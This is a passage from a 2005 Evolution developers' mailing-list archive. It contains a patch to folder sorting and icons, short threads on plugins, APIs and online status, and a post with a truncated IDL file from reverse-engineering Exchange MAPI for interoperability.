CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS|CAMEL_FOLDER_TYPE_INBOX; } else { const char *name = strrchr(top, '/'); --=-4t98At4iJZwK/v5fPuZs Content-Disposition: attachment; filename=folder-hint-evo.diff Content-Type: text/x-patch; name=folder-hint-evo.diff; charset=UTF-8 Content-Transfer-Encoding: 7bit Index: mail/ChangeLog =================================================================== RCS file: /cvs/gnome/evolution/mail/ChangeLog,v retrieving revision 1.3561 diff -u -p -r1.3561 ChangeLog --- mail/ChangeLog 1 Feb 2005 00:33:53 -0000 1.3561 +++ mail/ChangeLog 1 Feb 2005 07:37:22 -0000 @@ -1,5 +1,20 @@ 2005-02-01 Not Zed + * em-folder-tree-model.c (sort_cb): use the type hint to sort for + inbox, not the name. + (emft_is_special_local_folder): removed. + (em_folder_tree_model_set_folder_info): special-case the + local-store case, handle translated names and the name hints. + + * em-folder-tree.c (render_pixbuf): use the camel folderinfo + folder type to determine the icon, don't hardcode based on name. + + ** See bug #71310 + + * em-composer-prefs.c (sig_add_script_response): force a save of + the signatures as soon as they change. Also save the script name + if we were just editing it, not just the signature name. + ** See bug #71312. * em-folder-view.c (em_folder_view_open_selected): if we're Index: mail/em-composer-prefs.c =================================================================== RCS file: /cvs/gnome/evolution/mail/em-composer-prefs.c,v retrieving revision 1.24 diff -u -p -r1.24 em-composer-prefs.c --- mail/em-composer-prefs.c 24 Jan 2005 21:11:07 -0000 1.24 +++ mail/em-composer-prefs.c 1 Feb 2005 07:37:23 -0000 @@ -390,6 +390,8 @@ sig_add_script_response (GtkWidget *widg /* we're just editing an existing signature script */ g_free (sig->name); sig->name = g_strdup (name); + g_free(sig->filename); + sig->filename = g_strdup(script); e_signature_list_change (mail_config_get_signatures (), sig); } else { sig = mail_config_signature_new (script, TRUE, TRUE); @@ -399,6 +401,8 @@ sig_add_script_response (GtkWidget *widg g_object_unref (sig); } + mail_config_save_signatures(); + gtk_widget_hide (prefs->sig_script_dialog); g_strfreev (argv); g_free (script); Index: mail/em-folder-tree-model.c =================================================================== RCS file: /cvs/gnome/evolution/mail/em-folder-tree-model.c,v retrieving revision 1.64 diff -u -p -r1.64 em-folder-tree-model.c --- mail/em-folder-tree-model.c 24 Sep 2004 04:23:29 -0000 1.64 +++ mail/em-folder-tree-model.c 1 Feb 2005 07:37:23 -0000 @@ -184,12 +184,13 @@ sort_cb (GtkTreeModel *model, GtkTreeIte char *aname, *bname; CamelStore *store; gboolean is_store; + guint32 aflags, bflags; int rv = -2; gtk_tree_model_get (model, a, COL_BOOL_IS_STORE, &is_store, COL_POINTER_CAMEL_STORE, &store, - COL_STRING_DISPLAY_NAME, &aname, -1); - gtk_tree_model_get (model, b, COL_STRING_DISPLAY_NAME, &bname, -1); + COL_STRING_DISPLAY_NAME, &aname, COL_UINT_FLAGS, &aflags, -1); + gtk_tree_model_get (model, b, COL_STRING_DISPLAY_NAME, &bname, COL_UINT_FLAGS, &bflags, -1); if (is_store) { /* On This Computer is always first and VFolders is always last */ @@ -209,9 +210,9 @@ sort_cb (GtkTreeModel *model, GtkTreeIte rv = -1; } else { /* Inbox is always first */ - if (aname && (!strcmp (aname, "INBOX") || !strcmp (aname, _("Inbox")))) + if ((aflags & CAMEL_FOLDER_TYPE_MASK) == CAMEL_FOLDER_TYPE_INBOX) rv = -1; - else if (bname && (!strcmp (bname, "INBOX") || !strcmp (bname, _("Inbox")))) + else if ((bflags & CAMEL_FOLDER_TYPE_MASK) == CAMEL_FOLDER_TYPE_INBOX) rv = 1; } @@ -414,16 +415,6 @@ account_removed (EAccountList *accounts, em_folder_tree_model_remove_store (model, si->store); } -/* NB: more-or-less copied from em-folder-tree.c */ -static gboolean -emft_is_special_local_folder(CamelStore *store, const char *name) -{ - /* Bit of a hack to translate local mailbox names */ - return store == mail_component_peek_local_store(NULL) - && (!strcmp (name, "Drafts") || !strcmp (name, "Inbox") - || !strcmp (name, "Outbox") || !strcmp (name, "Sent")); -} - void em_folder_tree_model_set_folder_info (EMFolderTreeModel *model, GtkTreeIter *iter, struct _EMFolderTreeModelStoreInfo *si, @@ -437,6 +428,7 @@ em_folder_tree_model_set_folder_info (EM struct _CamelFolder *folder; gboolean emitted = FALSE; const char *name; + guint32 flags; if (!fully_loaded) load = fi->child == NULL && !(fi->flags & (CAMEL_FOLDER_NOCHILDREN | CAMEL_FOLDER_NOINFERIORS)); @@ -468,10 +460,22 @@ em_folder_tree_model_set_folder_info (EM camel_object_unref(folder); } - if (emft_is_special_local_folder(si->store, fi->full_name)) - name = _(fi->name); - else - name = fi->name; + /* TODO: maybe this should be handled by mail_get_folderinfo (except em-folder-tree doesn't use it, duh) */ + flags = fi->flags; + name = fi->name; + if (si->store == mail_component_peek_local_store(NULL)) { + if (!strcmp(fi->full_name, "Drafts")) { + name = _("Drafts"); + } else if (!strcmp(fi->full_name, "Inbox")) { + flags = (flags & ~CAMEL_FOLDER_TYPE_MASK) | CAMEL_FOLDER_TYPE_INBOX; + name = _("Inbox"); + } else if (!strcmp(fi->full_name, "Outbox")) { + flags = (flags & ~CAMEL_FOLDER_TYPE_MASK) | CAMEL_FOLDER_TYPE_OUTBOX; + name = _("Outbox"); + } else if (!strcmp(fi->full_name, "Sent")) { + name = _("Sent"); + } + } gtk_tree_store_set ((GtkTreeStore *) model, iter, COL_STRING_DISPLAY_NAME, name, @@ -479,7 +483,7 @@ em_folder_tree_model_set_folder_info (EM COL_STRING_FULL_NAME, fi->full_name, COL_STRING_URI, fi->uri, COL_UINT_UNREAD, unread, - COL_UINT_FLAGS, fi->flags, + COL_UINT_FLAGS, flags, COL_BOOL_IS_STORE, FALSE, COL_BOOL_LOAD_SUBDIRS, load, -1); Index: mail/em-folder-tree.c =================================================================== RCS file: /cvs/gnome/evolution/mail/em-folder-tree.c,v retrieving revision 1.142 diff -u -p -r1.142 em-folder-tree.c --- mail/em-folder-tree.c 27 Jan 2005 07:05:56 -0000 1.142 +++ mail/em-folder-tree.c 1 Feb 2005 07:37:24 -0000 @@ -279,7 +279,6 @@ render_pixbuf (GtkTreeViewColumn *column GdkPixbuf *pixbuf = NULL; gboolean is_store; guint32 flags; - char *full_name; if (!initialised) { folder_icons[FOLDER_ICON_NORMAL] = e_icon_factory_get_icon ("stock_folder", E_ICON_SIZE_MENU); @@ -292,27 +291,33 @@ render_pixbuf (GtkTreeViewColumn *column initialised = TRUE; } - gtk_tree_model_get (model, iter, COL_STRING_FULL_NAME, &full_name, - COL_BOOL_IS_STORE, &is_store, COL_UINT_FLAGS, &flags, -1); - if (!is_store && full_name != NULL) { - if (!g_ascii_strcasecmp (full_name, "Inbox")) + gtk_tree_model_get (model, iter, COL_BOOL_IS_STORE, &is_store, COL_UINT_FLAGS, &flags, -1); + + if (!is_store) { + switch((flags & CAMEL_FOLDER_TYPE_MASK)) { + case CAMEL_FOLDER_TYPE_INBOX: pixbuf = folder_icons[FOLDER_ICON_INBOX]; - else if (!g_ascii_strcasecmp (full_name, "Outbox")) + break; + case CAMEL_FOLDER_TYPE_OUTBOX: pixbuf = folder_icons[FOLDER_ICON_OUTBOX]; - else if (!strcmp (full_name, CAMEL_VTRASH_NAME)) + break; + case CAMEL_FOLDER_TYPE_TRASH: pixbuf = folder_icons[FOLDER_ICON_TRASH]; - else if (!strcmp (full_name, CAMEL_VJUNK_NAME)) + break; + case CAMEL_FOLDER_TYPE_JUNK: pixbuf = folder_icons[FOLDER_ICON_JUNK]; - else if (flags & CAMEL_FOLDER_SHARED_TO_ME) - pixbuf = folder_icons[FOLDER_ICON_SHARED_TO_ME]; - else if (flags & CAMEL_FOLDER_SHARED_BY_ME) - pixbuf = folder_icons[FOLDER_ICON_SHARED_BY_ME]; - else - pixbuf = folder_icons[FOLDER_ICON_NORMAL]; + break; + default: + if (flags & CAMEL_FOLDER_SHARED_TO_ME) + pixbuf = folder_icons[FOLDER_ICON_SHARED_TO_ME]; + else if (flags & CAMEL_FOLDER_SHARED_BY_ME) + pixbuf = folder_icons[FOLDER_ICON_SHARED_BY_ME]; + else + pixbuf = folder_icons[FOLDER_ICON_NORMAL]; + } } g_object_set (renderer, "pixbuf", pixbuf, "visible", !is_store, NULL); - g_free (full_name); } static void --=-4t98At4iJZwK/v5fPuZs-- From notzed@ximian.com Tue Feb 1 04:03:26 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id C620D124451; Tue, 1 Feb 2005 04:03:26 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 28499124468 for ; Tue, 1 Feb 2005 04:03:15 -0500 (EST) Received: (qmail 18808 invoked from network); 1 Feb 2005 09:03:13 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 1 Feb 2005 09:03:13 -0000 From: Not Zed To: evolution-hackers@lists.ximian.com Content-Type: multipart/alternative; boundary="=-FnKRwk4k+fNU9d6d2YKL" Date: Tue, 01 Feb 2005 16:58:17 +0800 Message-Id: <1107248297.4622.14.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 X-Spam-Status: Yes, hits=11.5 required=5.0 tests=BAYES_90,HTML_20_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: *********** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] plugins for groupwise/exchange/etc Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-FnKRwk4k+fNU9d6d2YKL Content-Type: text/plain Content-Transfer-Encoding: 7bit I've noticed that there are many plugins for groupwise at least, each one doing one little thing. They should really be consolidated into a single 'groupwise' plugin, any plugin can hook into any part of the whole application any number of times, there is no need to have many plugins to do what we're after. It just clutters everything up. --=-FnKRwk4k+fNU9d6d2YKL Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit

I've noticed that there are many plugins for groupwise at least, each one doing one little thing.

They should really be consolidated into a single 'groupwise' plugin, any plugin can hook into any part of the whole application any number of times, there is no need to have many plugins to do what we're after.  It just clutters everything up.


--=-FnKRwk4k+fNU9d6d2YKL-- From rodrigo@novell.com Tue Feb 1 08:00:01 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 774B0125206; Tue, 1 Feb 2005 08:00:01 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 286F7125288 for ; Tue, 1 Feb 2005 07:59:49 -0500 (EST) Received: (qmail 18938 invoked from network); 1 Feb 2005 12:59:48 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 1 Feb 2005 12:59:48 -0000 From: Rodrigo Moya To: Evolution Hackers Content-Type: multipart/mixed; boundary="=-9xF7GpahfhgteCypW65s" Date: Tue, 01 Feb 2005 13:57:45 +0100 Message-Id: <1107262665.1274.2.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=1.8 required=5.0 tests=BAYES_10,MAILTO_WITH_SUBJ,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] *ref_categories methods removed Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-9xF7GpahfhgteCypW65s Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi I removed the other day the backend API for notifying clients of category changes. Now the search bar (which is what was using that) just displays all categories, so no need for backends to keep updating the list of used categories. I made the attached change to evolution-exchange, which I guess would be needed for other backends too. -- Rodrigo Moya --=-9xF7GpahfhgteCypW65s Content-Disposition: inline Content-Description: Forwarded message - GNOME CVS: evolution-exchange rodrigo Content-Type: message/rfc822 Return-Path: X-Original-To: rodrigo@gnome-db.org Delivered-To: rodrigo@gnome-db.org Received: from localhost (localhost [127.0.0.1]) by mail.gnome-db.org (Postfix) with ESMTP id 74C9A24004 for ; Tue, 1 Feb 2005 12:40:12 +0000 (UTC) Received: from mail.gnome-db.org ([127.0.0.1]) by localhost (mail.gnome-db.org [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 00803-05 for ; Tue, 1 Feb 2005 12:40:09 +0000 (UTC) Received: from menubar.gnome.org (menubar.gnome.org [12.107.209.248]) by mail.gnome-db.org (Postfix) with ESMTP id 76F0524002 for ; Tue, 1 Feb 2005 12:40:09 +0000 (UTC) Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 00B263B119C; Tue, 1 Feb 2005 07:40:08 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 11997-01; Tue, 1 Feb 2005 07:40:01 -0500 (EST) Received: from menubar.gnome.org (localhost.localdomain [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 3CCB53B1225; Tue, 1 Feb 2005 07:39:58 -0500 (EST) X-Original-To: cvs-commits-list@mail.gnome.org Delivered-To: cvs-commits-list@mail.gnome.org Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id C2D473B1240 for ; Tue, 1 Feb 2005 07:39:53 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 11896-09 for ; Tue, 1 Feb 2005 07:39:52 -0500 (EST) Received: from container.gnome.org (container.gnome.org [12.107.209.249]) by menubar.gnome.org (Postfix) with ESMTP id 04C313B1225 for ; Tue, 1 Feb 2005 07:39:27 -0500 (EST) Received: by container.gnome.org (Postfix, from userid 70) id B47A6165E4D; Tue, 1 Feb 2005 07:39:26 -0500 (EST) To: cvs-commits-list@mail.gnome.org X-CVS-Module: evolution-exchange Message-Id: <20050201123926.B47A6165E4D@container.gnome.org> Date: Tue, 1 Feb 2005 07:39:26 -0500 (EST) From: gnomecvs@container.gnome.org (Gnome CVS User) X-Virus-Scanned: by amavisd-new at gnome.org Cc: Subject: GNOME CVS: evolution-exchange rodrigo X-BeenThere: cvs-commits-list@gnome.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: gnome-hackers@gnome.org List-Id: CVS Logs List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: cvs-commits-list-bounces@gnome.org Errors-To: cvs-commits-list-bounces@gnome.org X-Virus-Scanned: by amavisd-new at gnome.org X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at gnome-db.org Mime-Version: 1.0 Content-Transfer-Encoding: 7bit CVSROOT: /cvs/gnome Module name: evolution-exchange Changes by: rodrigo 05/02/01 07:39:26 Modified files: . : ChangeLog calendar : e-cal-backend-exchange-calendar.c Log message: 2005-02-01 Rodrigo Moya * calendar/e-cal-backend-exchange-calendar.c (create_object, modify_object_with_href, remove_object): removed usage of removed categories API. URL : http://cvs.gnome.org/bonsai/cvsquery.cgi?branch=&dir=evolution-exchange&who=rodrigo&date=explicit&mindate=2005-02-01%2007:38&maxdate=2005-02-01%2007:40 _______________________________________________ cvs-commits-list mailing list cvs-commits-list@gnome.org http://mail.gnome.org/mailman/listinfo/cvs-commits-list --=-9xF7GpahfhgteCypW65s-- From jpr@novell.com Tue Feb 1 08:12:12 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id A2903124FBA; Tue, 1 Feb 2005 08:12:12 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id A02D412488F for ; Tue, 1 Feb 2005 08:11:54 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 01 Feb 2005 06:11:51 -0700 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: JP Rosevear To: Sivaiah Nallagatla Cc: =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107239902.9842.4.camel@Gr8-Siva.hathaway> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> Content-Type: text/plain; charset=utf-8 Organization: Novell, Inc. Date: Tue, 01 Feb 2005 08:11:46 -0500 Message-Id: <1107263506.15530.1.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-24.7 required=5.0 tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-01-31 at 22:38 -0800, Sivaiah Nallagatla wrote: > On Sat, 2005-01-29 at 22:51 +0000, Stéphane Konstantaropoulos wrote: > > Hi there, > > > > I 'd like to know whether evolution, as a whole, is online, so that I > > make it publish to non-local uris or not. > > > > Is there a quick way to find that out? > > > > The Shell interface does not provide such a method and the Offline > > interface has no factory. > > > > I could check the offline property of the calendars to publish (with > > e_source_get_property(source, "offline") ) but does that make sense for > > local calendars? > This property ("offline_sync") indicates whether that particular > calendar contents has to be cached for offiline usage or not. It is not > related offline/online status. Isn't there a gconf key that determines the state? Or does that just determine the startup state? -JP -- JP Rosevear Novell, Inc. From lkcl@lkcl.net Tue Feb 1 09:56:43 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 3D33D1247D6; Tue, 1 Feb 2005 09:56:43 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 5B35F12507B for ; Tue, 1 Feb 2005 09:56:29 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id 63991BFB5 for ; Tue, 1 Feb 2005 14:56:16 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1Cvzc1-0000B5-4K for evolution-hackers@lists.ximian.com; Tue, 01 Feb 2005 15:06:41 +0000 Date: Tue, 1 Feb 2005 15:06:41 +0000 From: Luke Kenneth Casson Leighton To: evolution-hackers@lists.ximian.com Message-ID: <20050201150641.GV5707@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=1.9 required=5.0 tests=RCVD_IN_NJABL,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, USER_AGENT_MUTT version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: hi, i've begun the network-reverse-engineering necessary to interoperating with Exchange 5.5 and Outlook. i have a basic test client and a basic server which is able to return hard coded data structures. the key difference between the present attempt and all previous ones is that i have started from FreeDCE not from decoding MSRPC on-wire, so i have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE turns that into c code, and it's a matter of filling in the blanks. unfortunately there are a lot of blanks. _fortunately_, the data structures of emsabp.idl (the Nspi interface) are IDENTICAL to those used in mapidefs.h - see Wine's include/windows/mapidefs.h anybody interested in helping out please contact me. in particular, help with tying in MAPI which is actually MS-TNEF which is winmail.dat which is therefore directly relevant to evolution, much appreciated. l. -- -- http://lkcl.net -- [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), version(56.0), implicit_handle(handle_t rpc_binding) ] interface emsabp { /* this is mostly identical to wine/include/mapidefs.h, * up until MAPIERROR, at which point it looks completely * unfamiliar and alien. * * the functions in the IMAPITable only look _vaguely_ * familiar but are like, utterly different. * really odd. same data structures. different functions. * oh well. */ #define PR_ENTRYID 0x0fff0102 #define PR_OBJECTID 0xfffd0003 #define PR_DISPLAY_NAME 0x3001001e #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ #define PR_DEPTH 0x30050003 #define PR_PARENTENTRYID 0xfffc0102 typedef unsigned short WCHAR; typedef struct { long element_1; long element_2; long element_3; long element_4; long element_5; long element_6; long element_7; long element_8; long element_9; } EMS_MAPI_UNIDENTIFIED; typedef struct { char ab[16]; } MAPIUID; typedef [context_handle] void *emsabp_hnd_t; long NspiBind( [in] handle_t element_11, [in] long element_12, [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, [in,out, unique] MAPIUID *element_14, [out] emsabp_hnd_t *element_15 ); long NspiUnbind( [in,out] emsabp_hnd_t *element_16, [in] long element_17 ); long NspiUpdateStat( [in] emsabp_hnd_t element_18, [in] long element_19, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, [in,out, unique] long *element_21 ); /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ /* this is probably an SPropTagArray. although it doesn't match * up with the definition in wine/includes/mapidefs.h, it also * is the data structure i've had the most difficulty with, matching * it to on-wire format. */ typedef struct { [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; long cValues; /*long element_24;*/ } EMS_SPropTagArray; typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; typedef struct { long cb; [size_is(cb), ptr] char *lpb; } EMS_SBinary; typedef struct { long dwLowDateTime; long dwHighDateTime; } EMS_FILETIME; typedef struct { long cValues; [size_is(cValues), ptr] short *lpi; } EMS_SShortArray; typedef struct { long cValues; [size_is(cValues), ptr] long *lpl; } EMS_MULTIVALUE_LONG_STRUCT; typedef struct { long cValues; [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ } EMS_SLPSTRArray; typedef struct { long cValues; [size_is(cValues), ptr] EMS_SBinary *lpbin; } EMS_SBinaryArray; typedef struct { long cValues; [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ } EMS_SGuidArray; typedef struct { long cValues; [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ } EMS_MULTIVALUE_UNICODE_STRUCT; typedef struct { long cValues; [size_is(cValues), ptr] EMS_FILETIME *lpft; } EMS_SDateTimeArray; typedef [ptr, string] unsigned short *WSTRING; typedef [ptr, string] char *STRING; #define PT_UNSPECIFIED 0x0000 #define PT_NULL 0x0001 #define PT_I2 0002 #define PT_LONG 0003 #define PT_R4 0004 #define PT_DOUBLE 0x0005 #define PT_CURRENCY 0x0006 #define PT_APPTIME 0x0007 /*#define PT_CLSID 0x0008 */ #define PT_ERROR 0x000a /* means in a response package, that the given attribute contains no value, or not exists. -> So it won't be contained in the enumeration of the attrib. values array. */ #define PT_BOOLEAN 0x000b #define PT_OBJECT 0x000d #define PT_I8 0x0014 #define PT_STRING8 0x001e #define PT_UNICODE 0x001f #define PT_SYSTIME 0x0040 #define PT_CLSID 0x0048 #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ /* MV means MultiValued*/ #define PT_MV_I2 0x1002 #define PT_MV_LONG 0x1003 #define PT_MV_R4 0x1004 #define PT_MV_DOUBLE 0x1005 #define PT_MV_CURRENCY 0x1006 #define PT_MV_APPTIME 0x1007 #define PT_MV_I8 0x1014 #define PT_MV_STRING8 0x101e #define PT_MV_TSTRING 0x101e #define PT_MV_UNICODE 0x101f #define PT_MV_SYSTIME 0x1040 #define PT_MV_CLSID 0x1048 #define PT_MV_BINARY 0x1102 typedef [switch_type(long)] union { [case(PT_I2)] short i; [case(PT_LONG)] long l; [case(PT_BOOLEAN)] short b; [case(PT_STRING8)] STRING lpszA; [case(PT_BINARY)] EMS_SBinary bin; [case(PT_UNICODE)] WSTRING lpszW; [case(PT_CLSID), ptr] MAPIUID *lpguid; [case(PT_SYSTIME)] EMS_FILETIME ft; [case(PT_ERROR)] long err; [case(PT_MV_I2)] EMS_SShortArray MVi; [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; [case(PT_MV_CLSID)] EMS_SGuidArray MVguid; [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; [case(PT_NULL)] long null; [case(PT_OBJECT)] long object; } EMS_SPropValue_CTR; typedef struct { long ulPropTag; long dwAlignPad; [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; } EMS_SPropValue; typedef struct { long ulAdrEntryPad; long cValues; [size_is(cValues), unique] EMS_SPropValue *lpProps; } EMS_SRow; typedef [unique] EMS_SRow *EMS_SRow_PTR ; typedef struct { long cRows; [size_is(cRows)] EMS_SRow aRow[*]; } EMS_SRowSet; typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; long NspiQueryRows( [in] emsabp_hnd_t element_69, [in] long element_70, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, [in] long lRows, [in, size_is(lRows), unique] long *element_73, [in] long element_74, [in, ref] EMS_SPropTagArray *element_75, [out, ref] EMS_SRowSet_PTR *element_76 ); long NspiSeekEntries( [in] emsabp_hnd_t element_77, [in] long element_78, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, [in, ref] EMS_SPropValue *element_80, [in, unique] EMS_SPropTagArray *element_81, [in, unique] EMS_SPropTagArray *element_82, [out, ref] EMS_SRowSet_PTR *element_83 ); typedef [ptr] struct _SRestriction *LPSRestriction; typedef struct { long cRes; [size_is(cRes)] LPSRestriction lpRes; } EMS_SAndRestriction; typedef struct { long cRes; [size_is(cRes)] LPSRestriction lpRes; } EMS_SOrRestriction; typedef struct { /* ULONG ulReserved - perhaps an [ignore] property on this one? */ LPSRestriction lpRes; } EMS_SNotRestriction; typedef struct { long ulFuzzyLevel; long ulPropTag; [ptr] EMS_SPropValue *lpProp; } EMS_SContentRestriction; typedef struct { long relop; long ulPropTag; [ptr] EMS_SPropValue *lpProp; } EMS_SPropertyRestriction; typedef struct { long ulReserved1; long ulPropTag; long ulReserved2; } EMS_SExistRestriction; typedef struct { long relop; long ulPropTag; long cb; } EMS_SSizeRestriction; typedef struct { long relBMR; long ulPropTag; long ulMask; } EMS_SBitMaskRestriction; typedef struct { long relop; long ulPropTag1; long ulPropTag2; } EMS_SComparePropsRestriction; typedef struct { long ulSubObject; LPSRestriction lpRes; } EMS_SSubRestriction; typedef struct { [unique] MAPIUID *lpguid; long ulKind; long lID; /* this is actually a union in mapidefs.h */ } EMS_MAPINAMEID; /* Restriction types */ #define RES_AND 0U #define RES_OR 1U #define RES_NOT 2U #define RES_CONTENT 3U #define RES_PROPERTY 4U #define RES_COMPAREPROPS 5U #define RES_BITMASK 6U #define RES_SIZE 7U #define RES_EXIST 8U #define RES_SUBRESTRICTION 9U #define RES_COMMENT 10U typedef [switch_type(long)] union { [case(RES_AND) ] EMS_SAndRestriction resAnd; [case(RES_OR) ] EMS_SOrRestriction resOr; [case(RES_NOT) ] EMS_SNotRestriction resNot; [case(RES_CONTENT) ] EMS_SContentRestriction resContent; [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; [case(RES_SIZE) ] EMS_SSizeRestriction resSize; [case(RES_EXIST) ] EMS_SExistRestriction resExist; /* case SCommentRestriction is missing! */ } EMS_SRestriction_CTR; typedef struct _SRestriction { long rt; [switch_is(rt)] EMS_SRestriction_CTR res; } EMS_SRestriction; long NspiGetMatches( [in] emsabp_hnd_t element_110, [in] long element_111, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, [in, unique] EMS_SPropTagArray *element_113, [in] long element_114, [in, unique] EMS_SRestriction *element_115, [in, unique] EMS_MAPINAMEID *element_116, [in] long element_117, [out, ref] EMS_SPropTagArray *element_118, [in, ref] EMS_SPropTagArray *element_119, [out, ref] 